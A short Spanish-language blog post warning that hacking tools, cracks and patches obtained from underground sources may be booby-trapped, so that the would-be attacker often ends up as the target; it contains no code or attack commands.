Las vulnerabilidades están en todos lados, no pensemos que porque se trata de un software ofensivo no es peligroso, se puede volver peligroso si alguien decide darle un uso inadecuado(adecuado?). Un ejemplo de atacar al atacante lo pueden leer aquí.


Piensa en los scanners, exploits, crypters, encoders, ofuscadores, parches de seguridad, archivos de actualización, cracks, piensa sobre todo, en esos que te consigues en "el bajo mundo" donde siempre pensamos que todas las personas tienen un deseo de ayudar y que todo lo que se publica se hace con el ánimo de compartir y pelear contra el sistema (Abajo la leylleras2.0.exe). 
Muchas de las veces el TARGET seremos nosotros.


Saludos!

Entradas populares